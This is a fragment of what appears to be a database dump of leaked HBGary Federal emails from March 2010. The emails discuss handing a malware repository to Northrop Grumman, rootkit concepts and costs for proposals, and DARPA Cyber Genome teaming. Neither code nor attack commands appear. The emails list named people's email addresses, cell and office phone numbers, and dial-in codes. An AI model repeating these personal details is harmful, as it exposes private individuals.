4, 2010, at 10:48 AM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNeed the repository with the detected traits for each item\r\nincluded.&nbsp; Need to know what the traits are but not how they are detected\r\nnor how the overall scoring is calculated.&nbsp; Just need to know what traits\r\ncontributed to the score and what the traits are.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAgree with you on that.&nbsp; However, I am going to submit to\r\nAFRL after this one.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWill call for the password in a bit.&nbsp; Getting ready for a\r\nJadik mtg.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson&nbsp;\r\nNorthrop Grumman/Xetron&nbsp;\r\nChief Technology Officer, IO Programs&nbsp;\r\nPh: 513-881-3591&nbsp;\r\nCell: 513-706-4848&nbsp;\r\nFax: 513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, March 04,\r\n2010 10:41 AM\r\nTo:&nbsp;Masterson, Brian\r\n(Xetron)\r\nSubject:&nbsp;Re: Two things\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOK still working on the repository, its slow because\r\neveryone that can make decisions and actually provide access are to the four\r\ncorners doing stuff. &nbsp;DARPA thing has me swamped...ok excuses over.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTraits are in responder but not accessible in total.\r\n&nbsp;You need access to a list of all the traits? &nbsp;I am going to be asked\r\nwhy...brain fried, so what is the why? &nbsp;The one thing we won\'t be able to\r\npush out externally is our algorithms for doing the scoring...but would we need\r\nthat?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am going to feel better when this proposal is over.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 4, 2010, at 10:33 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot trying to nag but while I am running through actions, we\r\nneed your malware repository with the traits.&nbsp; The guys working the cyber\r\nthreat IRAD need access to the data.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson&nbsp;\r\nNorthrop Grumman/Xetron&nbsp;\r\nChief Technology Officer, IO Programs&nbsp;\r\nPh: 513-881-3591&nbsp;\r\nCell: 513-706-4848&nbsp;\r\nFax: 513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, March 04,\r\n2010 10:31 AM\r\nTo:&nbsp;Masterson, Brian (Xetron)\r\nSubject:&nbsp;Re: Two things\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nok I got the writup for the 12monkeys rootkit. &nbsp;Working\r\non cost. &nbsp;Don\'t know...would it be exclusive I am guessing? &nbsp;Do you\r\nhave a PGP Key?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 4, 2010, at 8:25 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I\r\nhave to know if you want me to insert Greg&#8217;s new rootkit concept as an option\r\ninto our current proposal.&nbsp; If so, I need data (cost and input) for&nbsp;the\r\nproposal by COB today, tomorrow at the latest.\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For\r\nthe next proposal, would you be interested in teaming to use AFR as a\r\ndiscriminator?&nbsp; I need to convince the proposal lead but if you are\r\ninterested, I will try.&nbsp; Could make for a story that&nbsp;no\r\none else would think to tell.&nbsp;\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7569,'aaron_hbgary_com/7569.html'),(3573,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001801.M982639P3547Q3573.eml','\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Two things','Ted,Did Shawn every get back to you on data. &nbsp;Bob, maybe you can help. &nbsp;We need a CD or two to start ripped of malware from our repository so the NG guys can start putting some things together. &nbsp;If we can just put that on a CD and fedex it to them, that would be great.AaronBegin forwarded message:From: \"Masterson, Brian (Xetron)\" &lt;Brian.Masterson@ngc.com&gt;Date: March 5, 2010 9:33:07 AM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: Two thingsAaron,Daily ping because I am getting back from the guys working the Cyber Threat IRAD.&nbsp; We need data!&nbsp; They sort of hung evaluating what the initial step are til they get a decent repository to begin working with.&nbsp;Brian&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 04, 2010 11:14 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Two things&nbsp;ok update.&nbsp;Forget the encrypted file. &nbsp;it is for a very good rootkit that GD funded which we have IP rights to, but GD has it also, they paid for it. &nbsp;The NexGen rootkit is still only in Gregs head and haven\'t been able to get it out, albeit it has been sporadic on my part. &nbsp;I will have better luck after RSA is over, but not good enough for your proposal.&nbsp;The memory module one, looking for the paper that was written...not having any luck. &nbsp;I thought Bob was the one that told me we had that written up but now he says it wasn\'t him...ugh.&nbsp;On the trait/malware database. &nbsp;Ted is working with Shawn to get a bunch of it dropped to a disk that we can mail you to get you started and then we can work on getting more. &nbsp;The current database is immeshed with the actual feed portal which includes all the tickets, etc.&nbsp;Aaron&nbsp;On Mar 4, 2010, at 10:48 AM, Masterson, Brian (Xetron) wrote:Need the repository with the detected traits for each item included.&nbsp; Need to know what the traits are but not how they are detected nor how the overall scoring is calculated.&nbsp; Just need to know what traits contributed to the score and what the traits are.&nbsp;Agree with you on that.&nbsp; However, I am going to submit to AFRL after this one.&nbsp;Will call for the password in a bit.&nbsp; Getting ready for a Jadik mtg.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 04, 2010 10:41 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Two things&nbsp;OK still working on the repository, its slow because everyone that can make decisions and actually provide access are to the four corners doing stuff. &nbsp;DARPA thing has me swamped...ok excuses over.&nbsp;Traits are in responder but not accessible in total. &nbsp;You need access to a list of all the traits? &nbsp;I am going to be asked why...brain fried, so what is the why? &nbsp;The one thing we won\'t be able to push out externally is our algorithms for doing the scoring...but would we need that?&nbsp;I am going to feel better when this proposal is over.&nbsp;On Mar 4, 2010, at 10:33 AM, Masterson, Brian (Xetron) wrote:Not trying to nag but while I am running through actions, we need your malware repository with the traits.&nbsp; The guys working the cyber threat IRAD need access to the data.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 04, 2010 10:31 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Two things&nbsp;ok I got the writup for the 12monkeys rootkit. &nbsp;Working on cost. &nbsp;Don\'t know...would it be exclusive I am guessing? &nbsp;Do you have a PGP Key?&nbsp;Aaron&nbsp;On Mar 4, 2010, at 8:25 AM, Masterson, Brian (Xetron) wrote:1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I have to know if you want me to insert Greg’s new rootkit concept as an option into our current proposal.&nbsp; If so, I need data (cost and input) for&nbsp;the proposal by COB today, tomorrow at the latest.2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For the next proposal, would you be interested in teaming to use AFR as a discriminator?&nbsp; I need to convince the proposal lead but if you are interested, I will try.&nbsp; Could make for a story that&nbsp;no one else would think to tell.&nbsp;Brian&nbsp;Brian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3877&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15171,'aaron_hbgary_com/15171.html'),(3574,'2010-03-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001802.M361836P3547Q3574.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Using the Cloud','Aaron,\r\n\r\nMartin has promised his help.  He will come through.  We will have to use\r\nScott as a lever to get Shawn\'s help.  I\'ll call Scott today to let him know\r\nwhat is up.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, March 05, 2010 9:00 AM\r\nTo: Bob Slapnik; Ted Vera\r\nSubject: Using the Cloud\r\n\r\nOk guys...crunch time. :)\r\n\r\nI am putting in the cloud information related to the different section.\r\nPlease review and provide comments, modifications in a differnt color.  U\r\nwill get a link notification to the documents.\r\n\r\nBob, is Sean and Martin going to be able to review to add some more\r\ntechnical beef?  We have the approach, we just need some review so us three\r\nnon-malware analysts don\'t say something stupid.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2721 - Release Date: 03/04/10\r\n14:34:00\r\n\r\n',7115,'aaron_hbgary_com/7115.html'),(3575,'2010-03-05','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001802.M568810P3547Q3575.eml','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Kipper, Gregory A.\" <Gregory.Kipper@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Phil Porras\" <porras@csl.sri.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Laurin Buchanan\" <LaurinB@securedecisions.avi.com>,KennyP@SecureDecisions.avi.com,\"Bob Slapnik\" <bob@hbgary.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Kenny Prole\" <KennyP@avi.com>,andrew.tappert@pikewerks.com,\"Vinod Yegneswaran\" <vinod@csl.sri.com>,\"Hassen Saidi\" <saidi@csl.sri.com>','DCG Technical Status and Review (entire team)','\r\n\r\n\r\n\r\n\r\nDCG Technical Status and Review (entire team)\r\n\r\n\r\n\r\n\r\nWhen: Friday, March 05, 2010 1:00 PM-2:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nDCG Technical Status Review (entire team)\r\n\r\n866-765-5631, code 5057292#\r\n\r\n\r\n',9467,'aaron_hbgary_com/9467.html'),(3576,'2010-03-05','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001802.M796816P3547Q3576.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Vashak, Walt E.\" <walt.vashak@gd-ais.com>,\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Wenthold, Russell L.\" <russ.wenthold@gd-ais.com>,\"Brunelli, Rex\" <Rex.Brunelli@gd-ais.com>,\"Spiller, John F.\" <John.Spiller@gd-ais.com>','Discussion with HBGary: questions about IP issues','\r\n\r\n\r\n\r\n\r\nDiscussion with HBGary: questions about IP issues\r\n\r\n\r\n\r\n\r\nWhen: Friday, March 05, 2010 2:00 PM-3:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nDiscussion with HBGary: questions about IP issues, RE: DARPA Cyber Genome Proposal\r\n\r\n866-765-5631, code 5057292#\r\n\r\nPlease forward to anyone else who should participate in this meeting.\r\n\r\nQuestions?\r\n\r\nChris Starr\r\n\r\n571-216-6140\r\n\r\n\r\n\r\n\r\n',14363,'aaron_hbgary_com/14363.html'),(3577,'2010-03-05','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','/aaron@hbgary.com/new/1297001803.M1807P3547Q3577.eml','aaron@hbgary.com','Out of Office AutoReply: Section IV: Additional Information, Section III + 17 more items','\r\n\r\n\r\n\r\n\r\nOut of Office AutoReply: Section IV: Additional Information, Section III + 17 more items\r\n\r\n\r\n\r\n\r\nThis is an automated message.\r\nI am out of the office until March 9, checking email once a day. If you have urgent business, please email CathyE@avi.com or BrianneO@SecureDecisions.avi.com or call 631-754-4920 ext. 1581.\r\n\r\n\r\n\r\n\r\n',11317,'aaron_hbgary_com/11317.html'),(3578,'2010-03-05','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297001803.M197782P3547Q3578.eml','\"Aaron Barr\" <aaron@hbgary.com>','Brief phone call','Are you available for a brief \'sync\' call in the next hour, or so?  If\r\nso, what\'s a good number?\r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\n\r\n',5403,'aaron_hbgary_com/5403.html'),(3579,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001803.M429697P3547Q3579.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','Re: Brief phone call','sure.  call 719.510.8478\r\n\r\nAaron\r\n\r\nOn Mar 5, 2010, at 10:57 AM, Shows, Bob (IS) wrote:\r\n\r\n> Are you available for a brief \'sync\' call in the next hour, or so?  If\r\n> so, what\'s a good number?\r\n> \r\n> Robert \'Bob\' Shows \r\n> USAF Account Team NGIS/DSD\r\n> Northrop Grumman Corporation \r\n> 310.210.2549 \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15987,'aaron_hbgary_com/15987.html'),(3580,'2010-03-05','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001803.M620605P3547Q3580.eml','\"Aaron Barr\" <aaron@hbgary.com>','Technical Task Schedules','\r\n\r\n\r\n\r\n\r\nTechnical Task Schedules\r\n\r\n\r\n\r\n\r\nWhen: Friday, March 05, 2010 11:30 AM-12:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nTechnical Task Schedules\r\n\r\n866-765-5631, code 5057292#\r\n\r\n\r\n\r\n\r\n',4106,'aaron_hbgary_com/4106.html'),(3581,'2010-03-05','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001803.M888014P3547Q3581.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: Task List Edits from HBGary','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nProvide the research and development of memory and malware analysis\r\ntechniques to achieve correlation between malware that share traits or\r\ndisassembled code.&nbsp; This includes developing and refining signatures of\r\ncode sequences within software that are of value for correlation techniques.\r\n\r\nProvide research and development of function extraction\r\nmethods from disassembled code based on previous work with Automated Run-Time\r\nDisassembly techniques.\r\n\r\nProvide&nbsp;research\r\nsupport to GDAIS and other team members in correlation techniques for\r\nsignatures based on, but not limited to, malware artifacts, function extraction,\r\ndata flow maps, and function maps. &nbsp;\r\n\r\nProvide research support to\r\nGDAIS and other team members in malware trigger discovery to determine runtime\r\nrequirements to automate the execution of malware.\r\n\r\nProvide sample or generated\r\nDNA sequences for integration into the correlation database as needed for\r\nvisualization and POC demonstration.\r\n\r\nProvide research support to\r\nGDAIS and other team members in the creation of a unified malware genome for\r\nuse in malware correlation.\r\n\r\nProvide research support to GDAIS and other team members on\r\nidentification and classification of malware\r\n\r\n&nbsp;\r\n\r\nProvide research and development of toolmarks and latent\r\nartifacts within executables that can reveal information about the environment\r\nwhen developed and compiled.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11583,'aaron_hbgary_com/11583.html'),(3582,'2010-03-05','\"Jason Upchurch\" <jason.upchurch@gmail.com>','/aaron@hbgary.com/new/1297001804.M101540P3547Q3582.eml','aaron@hbgary.com','Need Access !!! Section IV: Additional Information, Section III + 17 	more items','Can you give this email account access?Thanks,Jason---------- Forwarded message ----------From: Upchurch, Jason R. &lt;jason.upchurch@gd-ais.com&gt;\r\nDate: Fri, Mar 5, 2010 at 9:10 AMSubject: FW: Section IV: Additional Information, Section III + 17 more itemsTo: jason.upchurch@gmail.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: aaron@hbgary.com\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 05, 2010 8:38 AM\r\nTo: Upchurch, Jason R.\r\nSubject: Section IV: Additional Information, Section III + 17 more items\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  I&#39;ve shared some items with you\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMessage from aaron@hbgary.com: \r\n\r\n\r\nAll,\r\n I have just shared Vol II and III of the TA3 proposal and am transfering content over to the sections.  Please review and add content and comments where appropriate.\r\n \r\nWorking on the appendix of the teaming agreements based on SOW inputs.\r\n Thanks you,\r\n\r\n\r\nClick to open: \r\n\r\n\r\n\r\n Section\r\n     IV: Additional Information\r\n Section\r\n     III\r\n I.\r\n     Cost Schedules and Milestones\r\n J.\r\n     Description of Data\r\n G.\r\n     Description of Facilities\r\n H.\r\n     Detail Support (Teaming Agreements)\r\n E.\r\n     Comparison with other Research\r\n F.\r\n     Discussion of Proposers Previous Accomplishments\r\n A.\r\n     Statement of Work\r\n B.\r\n     Description of Results and Products\r\n C.\r\n     Detailed Technical Rationale\r\n D.\r\n     Detailed Technical Approach\r\n Section\r\n     II\r\n A.\r\n     Summary of Proposal\r\n F.\r\n     Four Slide Summary\r\n E.\r\n     Organizational Chart\r\n D.\r\n     Technical Approach\r\n C.\r\n     Cost, Schedule, Milestones\r\n B.\r\n     Deliverables\r\n\r\n\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online\r\ndocuments, spreadsheets and presentations. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1919,'aaron_hbgary_com/1919.html'),(3583,'2010-03-05','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297001804.M316849P3547Q3583.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Brief phone call','Great--just got off a concall.  I\'ll call you in a minute or two\r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, March 05, 2010 10:03 AM\r\nTo: Shows, Bob (IS)\r\nSubject: Re: Brief phone call\r\nImportance: High\r\n\r\nsure.  call 719.510.8478\r\n\r\nAaron\r\n\r\nOn Mar 5, 2010, at 10:57 AM, Shows, Bob (IS) wrote:\r\n\r\n> Are you available for a brief \'sync\' call in the next hour, or so?  If\r\n> so, what\'s a good number?\r\n> \r\n> Robert \'Bob\' Shows \r\n> USAF Account Team NGIS/DSD\r\n> Northrop Grumman Corporation \r\n> 310.210.2549 \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9968,'aaron_hbgary_com/9968.html'),(3584,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001804.M522670P3547Q3584.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','Re: Brief phone call','ok give me 10min...on a conference call.\r\n\r\nOn Mar 5, 2010, at 11:59 AM, Shows, Bob (IS) wrote:\r\n\r\n> Great--just got off a concall.  I\'ll call you in a minute or two\r\n> \r\n> Robert \'Bob\' Shows \r\n> USAF Account Team NGIS/DSD\r\n> Northrop Grumman Corporation \r\n> 310.210.2549 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, March 05, 2010 10:03 AM\r\n> To: Shows, Bob (IS)\r\n> Subject: Re: Brief phone call\r\n> Importance: High\r\n> \r\n> sure.  call 719.510.8478\r\n> \r\n> Aaron\r\n> \r\n> On Mar 5, 2010, at 10:57 AM, Shows, Bob (IS) wrote:\r\n> \r\n>> Are you available for a brief \'sync\' call in the next hour, or so?  If\r\n>> so, what\'s a good number?\r\n>> \r\n>> Robert \'Bob\' Shows \r\n>> USAF Account Team NGIS/DSD\r\n>> Northrop Grumman Corporation \r\n>> 310.210.2549 \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9630,'aaron_hbgary_com/9630.html'),(3585,'2010-03-05','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297001804.M746107P3547Q3585.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Brief phone call','Roger...\r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, March 05, 2010 11:01 AM\r\nTo: Shows, Bob (IS)\r\nSubject: Re: Brief phone call\r\nImportance: High\r\n\r\nok give me 10min...on a conference call.\r\n\r\nOn Mar 5, 2010, at 11:59 AM, Shows, Bob (IS) wrote:\r\n\r\n> Great--just got off a concall.  I\'ll call you in a minute or two\r\n> \r\n> Robert \'Bob\' Shows \r\n> USAF Account Team NGIS/DSD\r\n> Northrop Grumman Corporation \r\n> 310.210.2549 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, March 05, 2010 10:03 AM\r\n> To: Shows, Bob (IS)\r\n> Subject: Re: Brief phone call\r\n> Importance: High\r\n> \r\n> sure.  call 719.510.8478\r\n> \r\n> Aaron\r\n> \r\n> On Mar 5, 2010, at 10:57 AM, Shows, Bob (IS) wrote:\r\n> \r\n>> Are you available for a brief \'sync\' call in the next hour, or so?\r\nIf\r\n>> so, what\'s a good number?\r\n>> \r\n>> Robert \'Bob\' Shows \r\n>> USAF Account Team NGIS/DSD\r\n>> Northrop Grumman Corporation \r\n>> 310.210.2549 \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14678,'aaron_hbgary_com/14678.html'),(3586,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001805.M3701P3547Q3586.eml','\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','File Access','All,\r\n\r\nTo get access to the links I sent you, you need to register that email account as a google account.  Let me know if you have any questions.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal 